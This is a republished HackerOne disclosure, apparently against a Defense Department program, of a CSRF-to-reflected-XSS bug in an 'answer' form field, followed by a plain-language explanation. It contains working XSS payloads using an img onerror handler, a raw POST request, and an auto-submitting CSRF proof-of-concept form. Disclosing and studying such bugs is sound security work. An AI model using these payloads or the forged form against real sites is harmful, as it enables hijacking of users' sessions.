Skip to content
XSS Disclosed report Beginner

CSRF to Cross-site Scripting (XSS)

A form field on the site reflected user input into the page without proper encoding, so a crafted value containing an image tag with an error handler executed script in the browser. Because the request had no CSRF protection, an attacker could host a page that auto-submits the malicious value and runs script in a victim's session.

lu3ky-13 Follow

Originally disclosed on HackerOne

  • Triaged in 3 days
  • Fixed in 17 days
  • Disclosed after 19 days

hello dear support

I have found csrf to XSS on https://██████ my payload "><img src=x onerror=prompt>;<video> url: POST ██████████ post data answer=A"><img src=x onerror=prompt>;<video>

Impact

Malicious JavaScript has access to all the same objects as the rest of the web page, including access to cookies and local storage, which are often used to store session tokens. If an attacker can obtain a user's session cookie, they can then impersonate that user.

Furthermore, JavaScript can read and make arbitrary modifications to the contents of a page being displayed to a user. Therefore, XSS in conjunction with some clever social engineering opens up a lot of possibilities for an attacker.

System Host(s)

████████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

http request

POST ███ HTTP/1.1
Host: ███
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Origin: https://█████
Connection: close
Referer: https://████████████https:%2f%2f████%2f███████
█████████
Upgrade-Insecure-Requests: 1

answer=A%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E

Poc csrf

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://████████████████https:%2f%2f████████%2f████████" method="POST">
      <input type="hidden" name="answer" value="A&quot;&gt;&lt;img&#32;src&#61;x&#32;onerror&#61;alert&#40;document&#46;domain&#41;&gt;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Suggested Mitigation/Remediation Actions

The original report as published on HackerOne, by lu3ky-13. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could run script in a victim's session, potentially reading cookies and local storage and impersonating the user, though the report only demonstrates script execution.

How it was found

  1. Send a POST request to the endpoint with the answer parameter set to a value containing an image tag with an error handler.
  2. Observe that the value is reflected into the response and the script runs in the browser.
  3. Host a page containing a form that auto-submits the same value to the endpoint.
  4. Get a victim to load the page and submit the form so the forged request fires and the script executes.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a website puts text a user typed straight into a page without cleaning it, a browser can treat that text as code. Here the 'answer' field was echoed back, and a value shaped like an image tag with an error handler ran JavaScript. Separately, the form accepted requests from other sites, so a malicious page could submit the value for a logged-in visitor.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by lu3ky-13

View all

30 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.